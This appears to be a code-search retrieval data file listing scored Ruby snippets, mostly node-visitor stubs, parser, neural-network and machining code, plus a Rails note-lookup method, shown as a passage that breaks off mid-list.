[ { "docid": "248efd74c8978c3d1847f9563b3f6d9a", "score": "0.62270695", "text": "def visit_next(node); end", "title": "" }, { "docid": "4f34db36c662281e392869ca7451d6fd", "score": "0.6158469", "text": "def advance_n_nodes()\nend", "title": "" }, { "docid": "3763a820e3c49d0fca207dbdf1990c10", "score": "0.61250955", "text": "def eval\n @nodes.each do |node| \n node.propagate\n end\n @nodes.each do |node|\n node.update_state \n end\n increment_time \n end", "title": "" }, { "docid": "bf1f2c6b43f553eb600616bd5c67ea5d", "score": "0.5991765", "text": "def mutate\t\t\n\t\t#first mutate global NN values\n\t\t#then add or delete nodes if the sevetiry is high enough\n\t\t#then mutate each node (call node mutate and pass the rate and severity)\n\n\t\t@mutation_rate \t\t= mutation_offset(@mutation_rate, @severity\t\t\t/ 10.0).abs if mutate? @mutation_rate\n\t\t@severity \t\t\t= mutation_offset(@severity, @severity \t\t\t\t/ 10.0).abs if mutate? @mutation_rate\n\t\t@heavy_mutation_rate= mutation_offset(@heavy_mutation_rate, @severity \t/ 10.0).abs if mutate? @mutation_rate\n\n\t\t#ADD OR DELETE A NODE\n\t\t# morph_times = @nodes.select{ |node| INPUT_NODE_TYPES.include? node.type or OUTPUT_NODE_TYPES.include? node.type}.count\n\t\t# morph_times.times do\n\t\t# if mutate? @heavy_mutation_rate\n\n\t\t#add a random node\n\t\tif mutate? @heavy_mutation_rate\n\t\t\t#TODO adding a node - adjust for \n\t\t\tnew_id = rand(0..1000000)\n\t\t\tbias = 0\n\n\t\t\t@nodes << Node.new(new_id, HIDDEN_NODE_TYPES.shuffle.first, bias)\n\n\n\t\t\tid_from = @nodes.reject{ |node| OUTPUT_NODE_TYPES.include? node.type }.map { |node| node.id }\n\t\t\tid_to\t= @nodes.reject{ |node| INPUT_NODE_TYPES.include? node.type }.map { |node| node.id }\n\n\t\t\tid_from.each do |id_f|\n\t\t\t\tweight = 0\n\t\t\t\t@synapses << {from: id_f, to: new_id, weight: weight}\n\t\t\tend\n\t\t\tid_to.each do |id_t|\n\t\t\t\tweight = 0\n\t\t\t\t@synapses << {from: new_id, to: id_t, weight: weight}\n\t\t\tend\n\t\tend\n\n\t\t#delete a random node (this would work better with lower influence nodes)\n\t\tif mutate? @heavy_mutation_rate\n\t\t\thidden_nodes = HIDDEN_NODE_TYPES\n\t\t\tnode_for_deletion = @nodes.select{ |node| hidden_nodes.include? node.type}.shuffle.first\n\t\t\tunless node_for_deletion.nil?\n\t\t\t\tid_for_deletion = node_for_deletion.id\n\n\t\t\t\t@nodes.reject! { |node| node.id == id_for_deletion }\n\t\t\t\t@synapses.reject! { |synapse| (synapse[:to] == id_for_deletion) or (synapse[:from] == id_for_deletion)}\n\t\t\tend\n\t\tend\n\n\t\t#add a random synapse\n\t\tif mutate? @heavy_mutation_rate\n\t\t\tfrom = @nodes.reject{ |node| OUTPUT_NODE_TYPES.include? node.type}.shuffle.first.id\n\t\t\tto \t = @nodes.reject{ |node| INPUT_NODE_TYPES.include? node.type}.shuffle.first.id\n\n\t\t\tweight = mutation_offset(0, 1)\n\t\t\t@synapses << {from: from, to: to, weight: weight}\n\t\tend\t\t\t\t\n\n\t\t#delete a random synapse\n\t\t#TODO add a bias to synapses with weights close to 0 / 1 (depends on the reading node)\n\t\tif mutate? @heavy_mutation_rate\n\t\t\tchosen_synapse = @synapses.shuffle.first\n\t\t\t@synapses.reject! { |synapse| synapse == chosen_synapse }\n\t\tend\n\t\t@nodes.map! { |node| node.mutate!(@mutation_rate, @severity, @heavy_mutation_rate) }\n\t\treturn self\n\tend", "title": "" }, { "docid": "44146d864ae6116765387c710318642f", "score": "0.5942877", "text": "def body\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n __BODY6__ = nil\n __BODY7__ = nil\n\n begin\n # at line 50:5: ( ^( TAG BODY attrs ( body_content )+ ) | ^( TAG BODY attrs ) )\n alt_6 = 2\n alt_6 = @dfa6.predict( @input )\n case alt_6\n when 1\n # at line 50:7: ^( TAG BODY attrs ( body_content )+ )\n match( TAG, TOKENS_FOLLOWING_TAG_IN_body_167 )\n\n match( DOWN, nil )\n __BODY6__ = match( BODY, TOKENS_FOLLOWING_BODY_IN_body_169 )\n # --> action\n printStartTag(__BODY6__);\n # <-- action\n @state.following.push( TOKENS_FOLLOWING_attrs_IN_body_173 )\n attrs\n @state.following.pop\n # --> action\n putsEndingBracket;\n # <-- action\n # at file 50:69: ( body_content )+\n match_count_5 = 0\n while true\n alt_5 = 2\n look_5_0 = @input.peek( 1 )\n\n if ( look_5_0.between?( TAG, DATA ) || look_5_0 == PCDATA )\n alt_5 = 1\n\n end\n case alt_5\n when 1\n # at line 50:69: body_content\n @state.following.push( TOKENS_FOLLOWING_body_content_IN_body_177 )\n body_content\n @state.following.pop\n\n else\n match_count_5 > 0 and break\n eee = EarlyExit(5)\n\n\n raise eee\n end\n match_count_5 += 1\n end\n\n\n match( UP, nil )\n # --> action\n printEndTag(__BODY6__);\n # <-- action\n\n when 2\n # at line 51:7: ^( TAG BODY attrs )\n match( TAG, TOKENS_FOLLOWING_TAG_IN_body_189 )\n\n match( DOWN, nil )\n __BODY7__ = match( BODY, TOKENS_FOLLOWING_BODY_IN_body_191 )\n # --> action\n printStartTag(__BODY7__);\n # <-- action\n @state.following.push( TOKENS_FOLLOWING_attrs_IN_body_195 )\n attrs\n @state.following.pop\n # --> action\n printEndingBracket;\n # <-- action\n\n match( UP, nil )\n # --> action\n putsEndTag(__BODY7__);\n # <-- action\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n end\n \n return \n end", "title": "" }, { "docid": "8e66e6bb9b1aa0f13f7cce8f95a12a3c", "score": "0.58921015", "text": "def process_special node\n add_text node\n setup_relation node\n add_tag_type node\n add_attributes node\n increment_index node\n @tag_count += 1\n increment_depth node\n end", "title": "" }, { "docid": "093a56dd9cb8313355ce9811911eeaca", "score": "0.5869968", "text": "def next_node=(_arg0); end", "title": "" }, { "docid": "92e8223980950113523e9147047a18cc", "score": "0.58128065", "text": "def treat(node, state); end", "title": "" }, { "docid": "10e7d6a1c20d59ecc4e28c9fd3022fb9", "score": "0.5809074", "text": "def visit_tlambeg(node); end", "title": "" }, { "docid": "0e52a39a1a2b83a5722d09c2b0782e0c", "score": "0.578985", "text": "def each_node_and_body(&block)\n tot = 0\n tot = yield(self) if self.class == TreeNode\n @children.each do |child|\n if child.class == Body then\n tot += yield(child)\n elsif child.class == TreeNode then\n tot += child.each_node_and_body(&block)\n end\n end\n tot\n end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5753978", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5753978", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5753978", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5753978", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5753978", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5753978", "text": "def visit(node); end", "title": "" }, { "docid": "2d7813f95bdc01efa957952bd6dc287a", "score": "0.56947106", "text": "def visit_binary(node); end", "title": "" }, { "docid": "2d7813f95bdc01efa957952bd6dc287a", "score": "0.56947106", "text": "def visit_binary(node); end", "title": "" }, { "docid": "2d7813f95bdc01efa957952bd6dc287a", "score": "0.56947106", "text": "def visit_binary(node); end", "title": "" }, { "docid": "8cd4204418e3219039f8646157a8822c", "score": "0.5688492", "text": "def for_node; end", "title": "" }, { "docid": "6447ca94f3120bc858af5a7f6d97b245", "score": "0.56875217", "text": "def visit_each(node); end", "title": "" }, { "docid": "1c757e4b6eb8a8a10776f63dd0c75c66", "score": "0.5686883", "text": "def cycleBody()\n super() ;\n if((nofRunning() == 0)) then\n # do alternation.\n loggingInfo(:alter, @alterCount) ;\n @alterCount += 1 ;\n @alterHistory.push(@generation) ;\n if(!terminate?()) then\n alternateGeneration() ; \n end\n end\n end", "title": "" }, { "docid": "09dea754f28ab91484d91d81ef8b8955", "score": "0.5662941", "text": "def visit_rbrace(node); end", "title": "" }, { "docid": "a6e0e1758c1b9173c7a4da2715993fe3", "score": "0.56547093", "text": "def on_begin(node); end", "title": "" }, { "docid": "aaaaee48d77064773d64d80bd4798e26", "score": "0.5626277", "text": "def YieldNode(arguments); end", "title": "" }, { "docid": "8d243935a350ee2b695f18b168d12bdc", "score": "0.5615152", "text": "def next_node; end", "title": "" }, { "docid": "71c4b12a0e4e62f3656aa4575dcc67c1", "score": "0.56089926", "text": "def monolithic_body()\r\n # # # # # # # # # # # # # # # # # #\r\n curr_depth = 0\r\n \r\n \r\n mill_impeller_outline_normal(pBegZ=0, pEndZ=nil)\r\n \r\n aMill.retract() \r\n aCircle.beg_depth = pBegZ\r\n aCircle.mill_pocket(pcx, pcy, \r\n cavity_diam + 0.3, \r\n pEndZ, \r\n island_diam=hub_diam) \r\n aMill.retract(pBegZ) \r\n \r\n mill_bearing_socket_common(pcx, pcy, pBegZ, pEndZ)\r\n mill_axel_normal\r\n mill_bolts_normal(0, drill_through_depth)\r\n end", "title": "" }, { "docid": "aaade5be26b0d4384234d2103e850401", "score": "0.5599401", "text": "def update_nodes\n i = 0\n\n @ary.each do |node|\n i += 1\n\n if @ary[i].nil?\n node.set_next_node(nil)\n else\n node.set_next_node(@ary[i].value) \n end\n\n end\n end", "title": "" }, { "docid": "07a3c70e8196772455598b699d170e04", "score": "0.55980587", "text": "def node_counter_increment\n @node_counter += 1\n end", "title": "" }, { "docid": "79620ccba74dd13db4b6eaa69fc1be3f", "score": "0.55971694", "text": "def eachNode(&block) @nodes.each(&block); end", "title": "" }, { "docid": "3846b211b7e4895edd8751d77861a595", "score": "0.55952215", "text": "def walk_body(body, opts={})\n opts = {value: true}.merge(opts)\n if opts[:value]\n body[0..-2].each { |elt| walk_node(elt, value: false) }\n if body.any?\n walk_node(body.last, value: true)\n else\n const_instruct(nil)\n end\n else\n body.each { |node| walk_node node, value: false }\n end\n end", "title": "" }, { "docid": "a6d126362934e7cc7809f1c253629f70", "score": "0.55948377", "text": "def increment_node_count\n @node_count = 0 if @node_count.nil?\n @node_count += 1\n end", "title": "" }, { "docid": "479f4b434cc07105f6d9d4dcda0bb79f", "score": "0.5592198", "text": "def prepend_to_body(body, node)\n stmts = stmts_of(node) + stmts_of(body)\n begin_with_stmts(stmts)\n end", "title": "" }, { "docid": "4e79986ed4bc232e7959e517d9fa60d0", "score": "0.5583992", "text": "def nodes; end", "title": "" }, { "docid": "4e79986ed4bc232e7959e517d9fa60d0", "score": "0.5583992", "text": "def nodes; end", "title": "" }, { "docid": "4e79986ed4bc232e7959e517d9fa60d0", "score": "0.5583992", "text": "def nodes; end", "title": "" }, { "docid": "4e79986ed4bc232e7959e517d9fa60d0", "score": "0.5583992", "text": "def nodes; end", "title": "" }, { "docid": "4e79986ed4bc232e7959e517d9fa60d0", "score": "0.5583992", "text": "def nodes; end", "title": "" }, { "docid": "6ad51861e24626bf7184bf6178e9c3e3", "score": "0.5581031", "text": "def processrubric (dist,ref,r)\n\n def len (ref)\n count = 0\n ref.children.each do |c|\n if c.name == 'text'\n count += 1 unless empty? c.text\n else\n count += len c\n end\n end\n count\n end\n\n def content (ref)\n\n def added (t,a)\n (empty? a) ? t : ( (empty? t) ? a : t+'#'+a )\n end\n\n t = ''\n ref.children.each do |c|\n t = added(t, (c.name=='text') ? c.text : content(c))\n end\n t\n end\n\n count = 0\n=begin\n fp = ''\n r[:ref] = ref\n r.children.each do |l|\n if l.name == 'Label'\n l.children.each do |c|\n case c.name\n when 'text' \n t = clean(c.text).gsub(/ /,'')\n if t != ''\n count+=1\n fp+='t'\n end\n when 'Fragment', 'Reference', 'Para', 'List', 'Include'\n count+=1\n fp+=c.name[0]\n when 'Term'\n count+=1\n fp+='S'\n when 'Table'\n count+=1\n fp+='T'\n else\n count+=1\n fp+='X'\n end\n #count += l.children.count \n end\n end\n end\n #count = count.to_s+':'+fp\n r[:count]=count\n\n=end\n\n #count = len r\n\n r[:content] = content r\n\n #dist[count] ||= 0\n #dist[count] += 1\n\nend", "title": "" }, { "docid": "7e2e4ad0789b7dcb1103786f5a23f17a", "score": "0.55657864", "text": "def traverse(node); end", "title": "" }, { "docid": "7e2e4ad0789b7dcb1103786f5a23f17a", "score": "0.55657864", "text": "def traverse(node); end", "title": "" }, { "docid": "7e2e4ad0789b7dcb1103786f5a23f17a", "score": "0.55657864", "text": "def traverse(node); end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.55621624", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "28591c192d02897f69d772480c5f7d11", "score": "0.5561579", "text": "def node; end", "title": "" }, { "docid": "083beb5be52eb38c3375609a5767837a", "score": "0.556139", "text": "def visit_massign(node); end", "title": "" }, { "docid": "e54e7187b1fd0fdabbef80a5dfa57ad1", "score": "0.55525017", "text": "def visit_block(node); end", "title": "" }, { "docid": "a99653b5decb99a676adfdff0eefd1c8", "score": "0.55469936", "text": "def visit_mrhs(node); end", "title": "" }, { "docid": "72139070e7b8ef3b0fcd21f8c52b9270", "score": "0.5541016", "text": "def update\n\t\t@node.evaluate(self)\n\tend", "title": "" }, { "docid": "e3bdbb99f5ec17a251a55dc4b005e484", "score": "0.5538759", "text": "def visit_begin(node); end", "title": "" }, { "docid": "2d44cc938eecdad2fd253d5a34c5f442", "score": "0.5523457", "text": "def transforming_body_expr; end", "title": "" }, { "docid": "2d44cc938eecdad2fd253d5a34c5f442", "score": "0.5523457", "text": "def transforming_body_expr; end", "title": "" }, { "docid": "7946178f41dc29eac27e46b43adcc869", "score": "0.551107", "text": "def append_to_body(body, node)\n stmts = stmts_of(body) + stmts_of(node)\n begin_with_stmts(stmts)\n end", "title": "" }, { "docid": "7eebba48bc59cad396e39e3382b96fc5", "score": "0.55064654", "text": "def __node ; @node ; end", "title": "" }, { "docid": "4d3e8b55321018b86cd38d154900b733", "score": "0.5497259", "text": "def process_all_nodes\n debug 'Start processing all nodes'\n hook 'pre_all'\n each_node do |node|\n process_node node\n end\n hook 'post_all'\n end", "title": "" }, { "docid": "796caf6bc67428d6fdddd4cb070ee16e", "score": "0.54874134", "text": "def visit_again(node)\n end", "title": "" }, { "docid": "77dc8752047aed3eed443c5588e60313", "score": "0.54822445", "text": "def compile_binary(node); end", "title": "" }, { "docid": "1fa69418f1003cee85d3603fa339c560", "score": "0.54684466", "text": "def visit_bodystmt(node); end", "title": "" }, { "docid": "4785e0be480fe90df3d43c46fc8d8c7e", "score": "0.54657274", "text": "def send_node; end", "title": "" }, { "docid": "4785e0be480fe90df3d43c46fc8d8c7e", "score": "0.54657274", "text": "def send_node; end", "title": "" }, { "docid": "f0079c1a98115513e44dbeca53c041dd", "score": "0.5460694", "text": "def visit_tlambeg(node)\n node.copy\n end", "title": "" }, { "docid": "57550e2c3a27c2ea98df5ec150707af7", "score": "0.54599214", "text": "def visit_yield(node); end", "title": "" }, { "docid": "e3e7136d7902cc18d4f616ba27ff8aa9", "score": "0.54517555", "text": "def fbe_body\n 4 + 4 \\\n + parent.fbe_body - 4 - 4 \\\n + f100.fbe_size \\\n + f101.fbe_size \\\n + f102.fbe_size \\\n + f103.fbe_size \\\n + f104.fbe_size \\\n + f105.fbe_size \\\n + f106.fbe_size \\\n + f107.fbe_size \\\n + f108.fbe_size \\\n + f109.fbe_size \\\n + f110.fbe_size \\\n + f111.fbe_size \\\n + f112.fbe_size \\\n + f113.fbe_size \\\n + f114.fbe_size \\\n + f115.fbe_size \\\n + f116.fbe_size \\\n + f117.fbe_size \\\n + f118.fbe_size \\\n + f119.fbe_size \\\n + f120.fbe_size \\\n + f121.fbe_size \\\n + f122.fbe_size \\\n + f123.fbe_size \\\n + f124.fbe_size \\\n + f125.fbe_size \\\n + f126.fbe_size \\\n + f127.fbe_size \\\n + f128.fbe_size \\\n + f129.fbe_size \\\n + f130.fbe_size \\\n + f131.fbe_size \\\n + f132.fbe_size \\\n + f133.fbe_size \\\n + f134.fbe_size \\\n + f135.fbe_size \\\n + f136.fbe_size \\\n + f137.fbe_size \\\n + f138.fbe_size \\\n + f139.fbe_size \\\n + f140.fbe_size \\\n + f141.fbe_size \\\n + f142.fbe_size \\\n + f143.fbe_size \\\n + f144.fbe_size \\\n + f145.fbe_size \\\n + f146.fbe_size \\\n + f147.fbe_size \\\n + f148.fbe_size \\\n + f149.fbe_size \\\n + f150.fbe_size \\\n + f151.fbe_size \\\n + f152.fbe_size \\\n + f153.fbe_size \\\n + f154.fbe_size \\\n + f155.fbe_size \\\n + f156.fbe_size \\\n + f157.fbe_size \\\n + f158.fbe_size \\\n + f159.fbe_size \\\n + f160.fbe_size \\\n + f161.fbe_size \\\n + f162.fbe_size \\\n + f163.fbe_size \\\n + f164.fbe_size \\\n + f165.fbe_size \\\n end", "title": "" }, { "docid": "41accdace3acc0bc295148d115e42f57", "score": "0.54452056", "text": "def raw\n n = nil\n @pipeline.reverse_each do |node|\n if n\n n = node.updated(nil, node.children + [n])\n else\n n = node\n end\n end\n n\n end", "title": "" }, { "docid": "fc7c69e40a66ec8b135ee5c4f7f1ca7d", "score": "0.54420364", "text": "def block_node; end", "title": "" }, { "docid": "fc7c69e40a66ec8b135ee5c4f7f1ca7d", "score": "0.54420364", "text": "def block_node; end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "4dae0ba7de55664571bec93bb973f01c", "score": "0.0", "text": "def set_note\n @note = Note.find(params[:id])\n\n set_breadcrumbs\n\n add_breadcrumb @note.id, @note\n\n\n if @note.is_a? PostNote\n @breadcrumbs = []\n elsif @note.is_a? ClientJournalNote\n @breadcrumbs = []\n end\n\n rescue ActiveRecord::RecordNotFound\n render_404\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { 